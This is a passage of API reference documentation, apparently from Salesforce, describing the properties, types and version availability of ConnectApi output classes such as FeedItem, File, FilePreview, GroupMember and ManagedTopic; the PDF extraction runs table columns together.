either the user doesn’t have access to the entity or
the entity was deleted.
BooleanisEntityAvailable
39.0Parent of the feed entity.ConnectApi.
ActorWithId
parent
39.0Relative created date, for example, “2h ago.”StringrelativeCreatedDate
39.0URL to the feed entity.Stringurl
SEE ALSO:
ConnectApi.FeedEntityShareCapability
ConnectApi.FeedFavorite Class
Available VersionDescriptionTypeName
28.0Information about the community that contains the
favorite
ConnectApi.Referencecommunity
28.0Favorite’s creatorConnectApi.User
Summary
createdBy
28.0Chatter REST API URL identifying the feed item for this
favorite
StringfeedUrl
28.0Favorite’s 18–character IDStringid
28.0ISO8601 date string, for example,
2011-02-25T18:24:31.000Z
DatetimelastViewDate
28.0Favorite’s nameStringname
28.0If the favorite is from a search, contains the search text,
otherwise, an empty string
StringsearchText
28.0A reference to the topic if applicable, null otherwiseConnectApi.Referencetarget
28.0An empty string or one of the following values:ConnectApi.
FeedFavoriteType Enum
type
•ListView
•Search
•Topic
28.0Chatter REST API URL to this favoriteStringurl
1559
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
28.0Information about the user who saved this favoriteConnectApi.User
Summary
user
SEE ALSO:
ConnectApi.FeedDirectory Class
ConnectApi.FeedFavorites Class
ConnectApi.FeedFavorites Class
Available VersionDescriptionTypeName
28.0Complete list of favoritesList<ConnectApi.Feed
Favorite>
favorites
28.0Total number of favoritesIntegertotal
ConnectApi.FeedItem Class
Subclass of ConnectApi.FeedElement Class as of 31.0.
Available
Version
DescriptionTypeName
28.0The entity that created the feed item.ConnectApi.Actoractor
28.0–31.0Information about the attachment. If there is no
attachment, returns null.
ConnectApi.FeedItem
Attachment
attachment
Important: As of version 32.0, use the
inherited capabilities property.
28.0–38.0Indicates whether the feed item can be shared.
If a feed item has multiple file attachments and at least
one attachment has been deleted or is inaccessible,
BooleancanShare
the feed item can’t be shared. The canShare value
is incorrectly set to true in these cases.
Important: As of version 39.0, use the
isSharable property.
28.0Information about the connected app used to
authenticate the connection.
ConnectApi.ClientInfoclientInfo
28.0–31.0First page of comments for this feed item.ConnectApi.CommentPagecomments
Important: As of version 32.0, use the
inherited
1560
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
capabilities.comments.page
property.
22.0true if feed item is created due to an event change,
false otherwise
Booleanevent
28.0–31.0true if the context user has bookmarked this feed
item, otherwise, false.
BooleanisBookmarked
ByCurrentUser
Important: As of version 32.0, use the
inherited
capabilities.bookmarks.isBookmarkedByCurrentUser
property.
28.0If this property is true the comment cannot be
deleted by the context user. If it is false, it might
BooleanisDelete
Restricted
be possible for the context user to delete the
comment, but it is not guaranteed.
28.0–31.0true if the context user has liked this feed item,
otherwise, false
BooleanisLikedBy
CurrentUser
Important: As of version 32.0, use the
inherited
capabilities.chatterLikes.isLikedByCurrentUser
property.
39.0Indicates whether the feed item can be shared.BooleanisSharable
28.0–31.0First page of likes for this feed item.ConnectApi.ChatterLike
Page
likes
Important: As of version 32.0, use the
inherited
capabilities.chatterLikes.page
property.
28.0–31.0A message body the describes who likes the feed item.ConnectApi.MessageBodylikesMessage
Important: As of version 32.0, use the
inherited
capabilities.chatterLikes.likesMessage
property.
29.0–30.0Information about the moderation flags on a feed
item. If
ConnectApi.
ModerationFlags
moderationFlags
ConnectApi.Features.communityModeration
is false, this property is null.
Important: As of version 31.0, use the
inherited
1561
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
capabilities.moderation.moderationFlags
property.
28.0–31.0If the context user has liked the feed item, this
property is a reference to the specific like, otherwise,
null.
ConnectApi.ReferencemyLike
Important: As of version 32.0, use the
inherited
capabilities.chatterLikes.myLike
property.
28.0A reference to the original feed item if this feed item
is a shared feed item, otherwise, null.
ConnectApi.ReferenceoriginalFeedItem
28.0If this feed item is a shared feed item, returns
information about the original poster of the feed item,
otherwise, returns null.
ConnectApi.ActororiginalFeed
ItemActor
28.0URL of the photo associated with the feed itemStringphotoUrl
28.0-30.0A collection of message segments, including the
unformatted text of the message that you can use as
ConnectApi.MessageBodypreamble
the title of a feed item. Message segments include
name, link, and motif icon information for the actor
that created the feed item.
Important: For API versions 29.0 and 30.0,
use the
ConnectApi.FeedItem.preamble.text
property as the default case to render text. For
API versions 31.0 and later, use the
ConnectApi.FeedElement.header.text
property as the default case to render text.
28.0–31.0Topics for this feed item.ConnectApi.FeedItemTopicPagetopics
Important: As of version 31.0, use the
inherited
capabilities.topics.items
property.
28.0Specifies the type of feed item, such as a content post
or a text post.
ConnectApi.FeedItemTypetype
Important: As of API version 32.0, use the
capabilities property to determine
what can be done with a feed item. See
Capabilities.
1562
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
One of these values:
•ActivityEvent—Feed item generated in
Case Feed when an event or task associated with
a parent record with a feed enabled is created or
updated.
•AdvancedTextPost—A feed item with
advanced text formatting, such as a group
announcement post.
•ApprovalPost—Feed item with an approval
capability. Approvers can act on the feed item
parent.
•AttachArticleEvent—Feed item
generated when an article is attached to a case
in Case Feed.
•BasicTemplateFeedItem—Feed item
with an enhanced link capability.
•CallLogPost—Feed item generated when a
call log is saved to a case in Case Feed.
•CanvasPost—Feed item generated by a
canvas app in the publisher or from Chatter REST
API or Chatter in Apex. The post itself is a link to a
canvas app.
•CaseCommentPost—Feed item generated
when a case comment is saved in Case Feed.
•ChangeStatusPost—Feed item generated
when the status of a case is changed in Case Feed.
•ChatTranscriptionPost—Feed item
generated in Case Feed when a Live Agent chat
transcript is saved to a case.
•CollaborationGroupCreated—Feed
item generated when a new public group is
created. Contains a link to the new group.
•CollaborationGroupUnarchived—Deprecated.
Feed item generated when an archived group is
activated.
•ContentPost—Feed item with a content
capability.
•CreateRecordEvent—Feed item that
describes a record created in the publisher.
•DashboardComponentAlert—Feed item
with a dashboard alert.
1563
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
•DashboardComponentSnapshot—Feed
item with a dashboard component snapshot
capability.
•EmailMessageEvent—Feed item generated
when an email is sent from a case in Case Feed.
•FacebookPost—Deprecated. Feed item
generated when a Facebook post is created from
a case in Case Feed.
•LinkPost—Feed item with a link capability.
•MilestoneEvent—Feed item generated
when a case milestone is either completed or
reaches a violation status. Contains a link to the
case milestone.
•PollPost—Feed item with a poll capability.
Viewers of the feed item are allowed to vote on
the options in the poll.
•ProfileSkillPost—Feed item generated
when a skill is added to a user’s profile.
•QuestionPost—Feed item generated when
a question is asked.
As of API version 33.0, a feed item of this type can
have a content capability and a link capability.
•ReplyPost—Feed item generated by a Chatter
Answers reply.
•RypplePost—Feed item generated when a
user posts thanks.
•SocialPost—Feed item generated when a
social post is created from a case in Case Feed.
•TextPost—Feed item containing text only.
•TrackedChange—Feed item created when
one or more fields on a record have been
changed.
•UserStatus—Deprecated. A user's post to
their own profile.
28.0Specifies the type of users who can see a feed item.ConnectApi.FeedItem
VisibilityType
visibility
•AllUsers—Visibility is not limited to internal
users.
•InternalUsers—Visibility is limited to
internal users.
1564
ConnectApi Output ClassesReference
ConnectApi.FeedItemAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.FeedElementCapability Class
is used.
This class is abstract.
Subclasses:
•ConnectApi.ApprovalAttachment Class
•ConnectApi.BasicTemplateAttachment Class
•ConnectApi.CanvasTemplateAttachment Class
•ConnectApi.EmailMessage Class
•ConnectApi.CaseComment Class
•ConnectApi.ContentAttachment Class
•ConnectApi.DashboardComponentAttachment Class
•ConnectApi.FeedPoll Class
•ConnectApi.LinkAttachment Class
•ConnectApi.RecordSnapshotAttachment Class
•ConnectApi.TrackedChangeAttachment Class
Message segments in a feed item are typed as ConnectApi.MessageSegment. Feed item capabilities are typed as
ConnectApi.FeedItemCapability. Record fields are typed as ConnectApi.AbstractRecordField. These classes
are all abstract and have several concrete subclasses. At runtime you can use instanceof to check the concrete types of these objects
and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown
subclasses.
Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.
ConnectApi.FeedItemPage Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.FeedElementPage Class is used.
A paged collection of ConnectApi.FeedItem objects.
Available
Version
DescriptionTypeName
28.0–31.0Token identifying the current page.StringcurrentPageToken
28.0–31.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
28.0–31.0An opaque polling token to use in the since parameter of
the ChatterFeeds.isModified method. The token
describes when the feed was last modified.
StringisModifiedToken
Important: This feature is available through a Feed
Polling pilot program. This pilot program is closed and
not accepting new participants.
1565
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
28.0–31.0A Chatter REST API URL with a since request parameter
that contains an opaque token that describes when the feed
StringisModifiedUrl
was last modified. Returns null if the feed isn’t a news
feed. Use this URL to poll a news feed for updates.
Important: This feature is available through a Feed
Polling pilot program. This pilot program is closed and
not accepting new participants.
28.0–31.0List of feed itemsList<ConnectApi.FeedItem>items
28.0–31.0Token identifying the next page or null if there is no next
page.
StringnextPageToken
28.0–31.0Chatter REST API URL identifying the next page or null if
there isn’t a next page. Check whether this value is null
StringnextPageUrl
before getting another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is returned.
30.0–31.0Token to use in an updatedSince parameter, or null
if not available.
StringupdatesToken
30.0–31.0A Chatter REST API resource with a query string containing
the value of the updatesToken property. The resource
StringupdatesUrl
returns the feed items that have been updated since the last
request. Use the URL as it is—do not modify it. Property is
null if not available.
ConnectApi.FeedItemSummary
A feed item summary.
Subclass of ConnectApi.FeedEntitySummary.
Available VersionDescriptionTypeProperty Name
39.0Container for all capabilities that can be included
with a feed item.
ConnectApi.
FeedElement
Capabilities
capabilities
39.0Title of the post. This property contains renderable
plain text for all the message segments. If a client
ConnectApi.
MessageBody
header
doesn’t know how to render a feed element type, it
should render this text.
39.0When the feed item was modified in the form of an
ISO8601 date string, for example,
2011-02-25T18:24:31.000Z.
DatetimemodifiedDate
1566
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
39.0Reference to the original feed item if this feed item
is a shared feed item; otherwise, null.
ConnectApi.
Reference
originalFeedItem
39.0If this feed item is a shared feed item, information
about the original poster of the feed item; otherwise,
null.
ConnectApi.ActororiginalFeed
ItemActor
39.0URL of the photo associated with the feed item.StringphotoUrl
39.0Specifies who can see a feed item.ConnectApi.
FeedItemVisibility
visibility
•AllUsers—Visibility is not limited to internal
users.
•InternalUsers—Visibility is limited to
internal users.
ConnectApi.FeedItemTopicPage Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.TopicsCapability Class is used.
Available
Version
DescriptionTypeName
28.0–31.0true if a topic can be assigned to the feed item, false
otherwise
BooleancanAssignTopics
28.0–31.0List of topicsList<ConnectApi.
Topic>
topics
ConnectApi.FeedModifiedInfo Class
Important: This feature is available through a Feed Polling pilot program. This pilot program is closed and not accepting new
participants.
Available
Version
DescriptionTypeName
28.0true if the news feed has been modified since the last time it was
polled; false otherwise. Returns null if the feed is not a news
feed.
BooleanisModified
28.0An opaque polling token to use in the since parameter of the
ChatterFeeds.isModified method. The token describes when
the feed was last modified.
StringisModifiedToken
28.0A Chatter REST API URL with a since request parameter that contains
an opaque token that describes when the feed was last modified.
StringnextPollUrl
1567
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeName
Returns null if the feed isn’t a news feed. Use this URL to poll a news
feed for updates.
ConnectApi.FeedPoll Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.PollCapability Class is used.
Subclass of ConnectApi.FeedItemAttachment Class
This object is returned as the attachment of ConnectApi.FeedItem objects where the type property is PollPost.
Available VersionDescriptionTypeName
28.0–31.0List of choices for poll.List<ConnectApi.
FeedPoll
Choice>
choices
28.0–31.0ID of the poll choice that the context user has voted for in this poll.
Returns null if the context user hasn’t voted.
StringmyChoiceId
28.0–31.0Total number of votes cast on the feed poll item.IntegertotalVoteCount
ConnectApi.FeedPollChoice Class
Available VersionDescriptionTypeName
28.0Poll choice IDStringid
28.0The location in the poll where this poll choice exists. The first poll
choice starts at 1.
Integerposition
28.0Label text associated with the poll choiceStringtext
28.0Total number of votes for this poll choiceIntegervoteCount
28.0The ratio of total number of votes for this poll choice to all votes cast
in the poll. Multiply the ratio by 100 to get the percentage of votes
cast for this poll choice.
DoublevoteCountRatio
SEE ALSO:
ConnectApi.PollCapability Class
ConnectApi.FieldChangeSegment Class
Subclass of ConnectApi.ComplexSegment Class
1568
ConnectApi Output ClassesReference
No additional properties.
SEE ALSO:
ConnectApi.MoreChangesSegment Class
ConnectApi.FieldChangeNameSegment Class
Subclass of ConnectApi.MessageSegment Class
No additional properties.
ConnectApi.FieldChangeValueSegment Class
Subclass of ConnectApi.MessageSegment Class
Available VersionDescriptionTypeName
28.0Specifies the value type of a field change:ConnectApi.
FieldChange
ValueType Enum
valueType
•NewValue—A new value
•OldValue—An old value
28.0URL value if the field change is to a URL field (such as
a web address)
Stringurl
ConnectApi.File Class
This class is abstract.
Subclass of ConnectApi.ActorWithId Class
Superclass of ConnectApi.FileSummary Class
Available VersionDescriptionTypeName
28.0MD5 checksum for the fileStringchecksum
32.0An ISO 8601 format date string, for example,
2011-02-25T18:24:31.000Z. File-specific modified date, which
Datetimecontent
ModifiedDate
is updated only for direct file operations, such as rename.
Modifications to the file from outside of Salesforce can update
this date.
28.0Size of the file in bytesIntegercontentSize
28.0If the file is a link, returns the URL, otherwise, the string “null”StringcontentUrl
28.0Description of the fileStringdescription
28.0URL to the file, that can be used for downloading the fileStringdownloadUrl
28.0Extension of the fileStringfileExtension
28.0Type of file, such as PDF, PowerPoint, and so onStringfileType
1569
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
28.0Specifies if a flash preview version of the file has been
rendered
StringflashRendition
Status
28.0true if the file is synced withSalesforce Files Sync; false
otherwise.
BooleanisInMyFileSync
31.0true if the file is a major version; false if the file is a
minor version. Major versions can’t be replaced.
BooleanisMajorVersion
28.0File’s MIME typeStringmimeType
30.0Information about the moderation flags on a file. If
ConnectApi.Features.communityModeration
is false, this property is null.
ConnectApi.
ModerationFlags
moderationFlags
28.0An ISO 8601 format date string, for example,
2011-02-25T18:24:31.000Z. Modifications to the file from
within Salesforce update this date.
DatetimemodifiedDate
28.0Name of the fileStringname
28.0Specifies the file source. Valid values are:Stringorigin
•Chatter—file came from Chatter
•Content—file came from content
28.0File’s ownerConnectApi.User
Summary
owner
28.0Specifies if a PDF preview version of the file has been renderedStringpdfRendition
Status
28.0Specifies the publish status of the file.ConnectApi.
FilePublishStatus
publishStatus
•PendingAccess—File is pending publishing.
•PrivateAccess—File is private.
•PublicAccess—File is public.
28.0URL to the rendition for the fileStringrenditionUrl
29.0URL to the 240 x 180 rendition resource for the file.For shared
files, renditions process asynchronously after upload. For
StringrenditionUrl
240By180
private files, renditions process when the first file preview is
requested, and aren’t available immediately after the file is
uploaded.
29.0URL to the 720 x 480 rendition resource for the file.For shared
files, renditions process asynchronously after upload. For
StringrenditionUrl
720By480
private files, renditions process when the first file preview is
requested, and aren’t available immediately after the file is
uploaded.
1570
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
35.0Sharing option of the file. Values are:ConnectApi.
FileSharingOption
sharingOption
•Allowed—Resharing of the file is allowed.
•Restricted—Resharing of the file is restricted.
28.0Specifies the sharing role of the file:ConnectApi.
FileSharingType
sharingRole
•Admin—Owner permission, but doesn’t own the file.
•Collaborator—Viewer permission, and can edit,
change permissions, and upload a new version of a file.
•Owner—Collaborator permission, and can make a file
private, and delete a file.
•Viewer—Can view, download, and share a file.
•WorkspaceManaged—Permission controlled by the
library.
30.0Text preview of the file if available; null otherwise.StringtextPreview
28.0Specifies the rendering status of the 120 x 90 preview image
of the file. One of these values:
Stringthumb120By90
RenditionStatus
•Processing—Image is being rendered.
•Failed—Rendering process failed.
•Success—Rendering process was successful.
•Na—Rendering is not available for this image.
28.0Specifies the rendering status of the 240 x 180 preview image
of the file. One of these values:
Stringthumb240By180
RenditionStatus
•Processing—Image is being rendered.
•Failed—Rendering process failed.
•Success—Rendering process was successful.
•Na—Rendering is not available for this image.
28.0Specifies the rendering status of the 720 x 480 preview image
of the file. One of these values:
Stringthumb720By480
RenditionStatus
•Processing—Image is being rendered.
•Failed—Rendering process failed.
•Success—Rendering process was successful.
•Na—Rendering is not available for this image.
28.0Title of the fileStringtitle
28.0File’s version numberStringversionNumber
1571
ConnectApi Output ClassesReference
ConnectApi.FilePreview
A file preview.
Available VersionDescriptionTypeProperty Name
39.0The format of the preview. Values are:ConnectApi.
FilePreviewFormat
format
•Pdf—Preview format is PDF.
•Svg—Preview format is compressed SVG.
•Thumbnail—Preview format is 240 x 180 PNG.
•ThumbnailBig—Preview format is 720 x 480
PNG.
•ThumbnailTiny—Preview format is 120 x
90 PNG.
39.0The total number of preview URLs for this preview
format.
IntegerpreviewUrlCount
39.0A list of file preview URLs.List<ConnectApi.
FilePreviewUrl>
previewUrls
39.0The availability status of the preview. Values are:ConnectApi.
FilePreviewStatus
status
•Available—Preview is available.
•InProgress—Preview is being processed.
•NotAvailable—Preview is unavailable.
•NotScheduled—Generation of the preview
isn’t scheduled yet.
39.0The URL for the file preview.Stringurl
SEE ALSO:
ConnectApi.FilePreviewCollection
ConnectApi.FilePreviewCollection
A collection of file previews.
Available VersionDescriptionTypeProperty Name
39.0ID of the file.StringfileId
39.0Previews supported for the file.List<ConnectApi.
FilePreview>
previews
1572
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
39.0URL to the current page of file previews.Stringurl
SEE ALSO:
ConnectApi.InlineImageSegment
ConnectApi.FilePreviewUrl
A URL to a file preview.
Available VersionDescriptionTypeProperty Name
39.0Preview page number starting from zero, or null
for PDF files.
IntegerpageNumber
39.0File preview URL.StringpreviewUrl
SEE ALSO:
ConnectApi.FilePreview
ConnectApi.FilesCapability
If a feed element has this capability, it has one or more file attachments.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
36.0Collection of files.List<ConnectApi.
Content>
items
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.FileSummary Class
Subclass of ConnectApi.File Class
This class represents a summary description of a file.
ConnectApi.FollowerPage Class
Available VersionDescriptionTypeName
28.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
1573
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
28.0List of subscriptionsList<ConnectApi.
Subscription>
followers
28.0Chatter REST API URL identifying the next page or null if
there isn’t a next page. Check whether this value is null
StringnextPageUrl
before getting another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is returned.
28.0Chatter REST API URL identifying the previous page or null
if there isn’t a previous page.
StringpreviousPageUrl
28.0Total number of followers across all pagesIntegertotal
ConnectApi.FollowingCounts Class
Available VersionDescriptionTypeName
28.0Number of people user is followingIntegerpeople
28.0Number of records user is following
Topics are a type of record that can be followed as of version 29.0.
Integerrecords
28.0Total number of items user is followingIntegertotal
SEE ALSO:
ConnectApi.UserDetail Class
ConnectApi.FollowingPage Class
Available VersionDescriptionTypeName
28.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
28.0List of subscriptionsList<ConnectApi.
Subscription>
following
28.0Chatter REST API URL identifying the next page or
null if there isn’t a next page. Check whether this
StringnextPageUrl
value is null before getting another page. If a page
doesn’t exist, a
ConnectApi.NotFoundException error
is returned.
28.0Chatter REST API URL identifying the previous page
or null if there isn’t a previous page.
StringpreviousPageUrl
28.0Total number of records being followed across all
pages
Integertotal
1574
ConnectApi Output ClassesReference
ConnectApi.GenericBundleCapability Class
If a feed element has this capability, the feed element has a group of other feed elements condensed into one feed element. This group
is called a bundle.
Subclass of ConnectApi.BundleCapability Class.
ConnectApi.GenericFeedElement Class
A concrete implementation of the abstract ConnectApi.FeedElement class.
Subclass of ConnectApi.FeedElement Class
ConnectApi.GlobalInfluence Class
Available VersionDescriptionTypeName
28.0Percentile value for the user’s influence rank within the organization
or community
Stringpercentile
28.0Number indicating the user’s influence rank, relative to all other
users within the organization or community
Integerrank
SEE ALSO:
ConnectApi.UserDetail Class
ConnectApi.GroupChatterSettings Class
A user’s Chatter settings for a specific group.
Available VersionDescriptionTypeName
28.0The frequency with which a group member receives
email from a group.
ConnectApi.
GroupEmail
Frequency Enum
emailFrequency
ConnectApi.GroupInformation Class
Describes the “Information” section of the group. In the Web UI, this section is above the “Description” section. If the group is private,
this section is visible only to members.
Available VersionDescriptionTypeName
28.0The text of the “Information” section of the group.Stringtext
28.0The title of the “Information” section of the group.Stringtitle
SEE ALSO:
ConnectApi.ChatterGroupDetail Class
1575
ConnectApi Output ClassesReference
ConnectApi.GroupMember Class
Available VersionDescriptionTypeName
28.0User’s 18-character IDStringid
31.0The date and time at which the group member last
accessed the group feed.
DatetimelastFeed
AccessDate
28.0Specifies the type of membership the user has with
the group, such as group owner, manager, or member.
ConnectApi.
GroupMembership
Type Enum
role
•GroupOwner
•GroupManager
•NotAMember
•NotAMemberPrivateRequested
•StandardMember
28.0Chatter REST API URL to this membershipStringurl
28.0Information about the user who is subscribed to this
group
ConnectApi.User
Summary
user
SEE ALSO:
ConnectApi.GroupMemberPage Class
ConnectApi.GroupMemberPage Class
Available
Version
DescriptionTypeName
28.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
28.0List of group membersList<ConnectApi.
GroupMember>
members
28.0If the context user is a member of this group, returns
information about that membership, otherwise, null.
ConnectApi.
Reference
myMembership
28.0Chatter REST API URL identifying the next page or null if
there isn’t a next page. Check whether this value is null
StringnextPageUrl
before getting another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is returned.
28.0Chatter REST API URL identifying the previous page or null
if there isn’t a previous page.
StringpreviousPageUrl
28.0Total number of group members across all pagesIntegertotalMemberCount
1576
ConnectApi Output ClassesReference
ConnectApi.GroupMembershipRequest Class
Available
Version
DescriptionTypeName
28.0ISO8601 date string, for example, 2011-02-25T18:24:31.000ZDatetimecreatedDate
28.0ID for the group membership request objectStringid
28.0ISO8601 date string, for example, 2011-02-25T18:24:31.000ZDatetimelastUpdateDate
28.0Information about the group the context user is requesting
to join.
ConnectApi.
Reference
requestedGroup
28.0A message for the user if their membership request is
declined. The value of this property is used only when the
value of the status property is Declined.
The maximum length is 756 characters.
StringresponseMessage
28.0The status of a request to join a private group. Values are:ConnectApi.
GroupMembership
status
•Accepted
RequestStatus
Enum •Declined
•Pending
28.0URL of the group membership request object.Stringurl
28.0Information about the user requesting membership in a
group.
ConnectApi.User
Summary
user
SEE ALSO:
ConnectApi.GroupMembershipRequests Class
ConnectApi.GroupMembershipRequests Class
Available VersionDescriptionTypeName
28.0Information about group membership requests.List<ConnectApi.Group
MembershipRequest>
requests
28.0The total number of requests.Integertotal
ConnectApi.GroupRecord Class
A record associated with a group.
Available
Version
DescriptionTypeProperty
33.0Record’s 18-character IDStringid
1577
ConnectApi Output ClassesReference
Available
Version
DescriptionTypeProperty
33.0Information about the record associated with the groupConnectApi.
ActorWithId
record
33.0Record URLStringurl
SEE ALSO:
ConnectApi.GroupRecordPage Class
ConnectApi.GroupRecordPage Class
A paginated list of ConnectApi.GroupRecord objects.
Available
Version
DescriptionTypeProperty
33.0Chatter REST API URL identifying the current page.StringcurrentPageUrl
33.0Chatter REST API URL identifying the next page or null if
there isn’t a next page. Check whether this value is null
StringnextPageUrl
before getting another page. If a page doesn’t exist, a
ConnectApi.NotFoundException error is returned.
33.0Chatter REST API URL identifying the previous page or null
if there isn’t a previous page.
Stringprevious
PageUrl
33.0List of records on the current page.List<ConnectApi.
GroupRecord>
records
33.0Total number of records associated with the group.IntegertotalRecord
Count
ConnectApi.HashtagSegment Class
Subclass of ConnectApi.MessageSegment Class
Available VersionDescriptionTypeName
28.0Text of the topic without the hash symbol (#)Stringtag
28.0Chatter REST API Topics resource that searches for the topic:
/services/data/v39.0/chatter
/topics?exactMatch=true&q=topic
StringtopicUrl
28.0Chatter REST API Feed Items resource URL that searches for the topic
in all feed items in an organization:
/services/data/v39.0/chatter/feed-items?q=topic
Stringurl
1578
ConnectApi Output ClassesReference
ConnectApi.Icon Class
Available
Version
DescriptionTypeProperty
28.0The height of the icon in pixels.Integerheight
28.0The width of the icon in pixels.Integerwidth
28.0The URL of the icon. This URL is available to unauthenticated users. This
URL does not expire.
Stringurl
SEE ALSO:
ConnectApi.CanvasCapability Class
ConnectApi.EnhancedLinkCapability
ConnectApi.SocialPostCapability
ConnectApi.InlineImageSegment
An inline image in the feed body.
Subclass of ConnectApi.MessageSegment Class
Available VersionDescriptionTypeProperty Name
35.0Alt text for the inline image.StringaltText
35.0Size of the file in bytes.IntegercontentSize
37.0Extension of the file, such as gif.StringfileExtension
35.0Information about the available thumbnails for the
image.
ConnectApi.File
PreviewCollection
thumbnails
35.0The URL to the latest version of the inline image.Stringurl
ConnectApi.InteractionsCapability
If a feed element has this capability, it has information about user interactions.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
37.0The number of individual views, likes, and comments
on a feed post.
Integercount
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.RelatedQuestion
1579
ConnectApi Output ClassesReference
ConnectApi.Invitation
An invitation.
Available VersionDescriptionTypeProperty Name
39.0Email address of the user.Stringemail
39.0Specifies the status of an invitation to join a group.
Values are:
ConnectApi.
GroupViral
InvitationsStatus
status
•ActedUponUser—The user was added to
the group. An email was sent asking the user to
visit the group.
•Invited—An email was sent asking the user
to sign up for the org.
•MaxedOutUsers—The group has the
maximum allowed members.
•MultipleError—The user wasn’t invited
due to multiple errors.
•NoActionNeededUser—The user is already
a member of the group.
•NotVisibleToExternalInviter—The
user is not accessible to the user sending the
invitation.
•Unhandled—The user couldn’t be added to
the group for an unknown reason.
39.0ID of the user.StringuserId
SEE ALSO:
ConnectApi.Invitations
ConnectApi.Invitations
A collection of invitations.
Available VersionDescriptionTypeProperty Name
39.0Collection of invitations.List<ConnectApi.
Invitation>
invitations
ConnectApi.KnowledgeArticleVersion
A knowledge article version.
1580
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
36.0Type of the knowledge article.StringarticleType
36.0ID of the knowledge article version.Stringid
36.0ID of the corresponding knowledge article.StringknowledgeArticleId
36.0Last published date of the knowledge article.DatetimelastPublishedDate
36.0Summary of the knowledge article contents.Stringsummary
36.0Title of the knowledge article.Stringtitle
36.0URL name of the knowledge article.StringurlName
SEE ALSO:
ConnectApi.KnowledgeArticleVersionCollection
ConnectApi.KnowledgeArticleVersionCollection
A collection of knowledge article versions.
Available VersionDescriptionTypeProperty Name
36.0A collection of knowledge article versions.List<ConnectApi.
KnowledgeArticle
Version>
items
ConnectApi.LabeledRecordField Class
This class is abstract.
Subclass of ConnectApi.AbstractRecordField Class
Superclass of:
•ConnectApi.CompoundRecordField Class
•ConnectApi.CurrencyRecordField Class
•ConnectApi.DateRecordField Class
•ConnectApi.PercentRecordField Class
•ConnectApi.PicklistRecordField Class
•ConnectApi.RecordField Class
•ConnectApi.ReferenceRecordField Class
•ConnectApi.ReferenceWithDateRecordField Class
A record field containing a label and a text value.
Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.
1581
ConnectApi Output ClassesReference
Available VersionDescriptionTypeName
29.0A localized string describing the record field.Stringlabel
29.0The text value of the record field. All record fields have a text value.
To ensure that all clients can consume new content, inspect the
Stringtext
record field’s type property. If it isn’t recognized, render the text
value as the default case.
ConnectApi.LinkAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.LinkCapability is used.
Subclass of ConnectApi.FeedItemAttachment Class
Available VersionDescriptionTypeName
28.0–31.0Title given to the link if available, otherwise, nullStringtitle
28.0–31.0The link URLStringurl
ConnectApi.LinkCapability
If a feed element has this capability, it has a link.
Subclass of ConnectApi.FeedElementCapability Class.
Available VersionDescriptionTypeProperty Name
32.0Link URL. The URL can be to an external site.Stringurl
32.0Description of the link.StringurlName
SEE ALSO:
ConnectApi.FeedElementCapabilities Class
ConnectApi.LinkSegment Class
Subclass of ConnectApi.MessageSegment Class
Available VersionDescriptionTypeName
28.0The link URLStringurl
ConnectApi.MaintenanceInfo
Information about the upcoming scheduled maintenance for the organization.
1582
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
34.0Description of the maintenance.Stringdescription
34.0Title of the maintenance.StringmaintenanceTitle
34.0Specifies the type of maintenance. One of the
following:
ConnectApi.
MaintenanceType
maintenanceType
•Downtime—Downtime maintenance.
•GenerallyAvailable—Maintenance with
generally available mode.
•MaintenanceWithDowntime—Scheduled
maintenance with downtime.
•ReadOnly—Maintenance with read-only
mode.
34.0Effective time when users start seeing the
maintenance message.
Datetimemessage
EffectiveTime
34.0Expiration time of the maintenance message.Datetimemessage
ExpirationTime
34.0Scheduled end of downtime. null for
GenerallyAvailable and ReadOnly
maintenance types.
DatetimescheduledEnd
Downtime
34.0Scheduled end of maintenance. null for
Downtime maintenance type.
DatetimescheduledEnd
MaintenanceTime
34.0Scheduled start of downtime. null for
GenerallyAvailable and ReadOnly
maintenance types.
DatetimescheduledStart
Downtime
34.0Scheduled start time of maintenance. null for
Downtime maintenance type.
DatetimescheduledStart
MaintenanceTime
SEE ALSO:
ConnectApi.OrganizationSettings Class
ConnectApi.ManagedTopic Class
Represents a managed topic in a community.
Available VersionDescriptionTypeProperty Name
35.0Children managed topics of the managed topic;
null if the depth request parameter isn’t
specified or is 1.
List<ConnectApi.
ManagedTopic>
children
32.0ID of managed topic.Stringid
1583
ConnectApi Output ClassesReference
Available VersionDescriptionTypeProperty Name
32.0Type of managed topic.ConnectApi.Managed
TopicType
managedTopicType
•Featured—Topics that are featured, for
example, on the community home page, but
don’t provide overall navigation.
•Navigational—Topics that display in a
navigational menu in the community.
35.0Parent managed topic of the managed topic.ConnectApi.
Reference Class
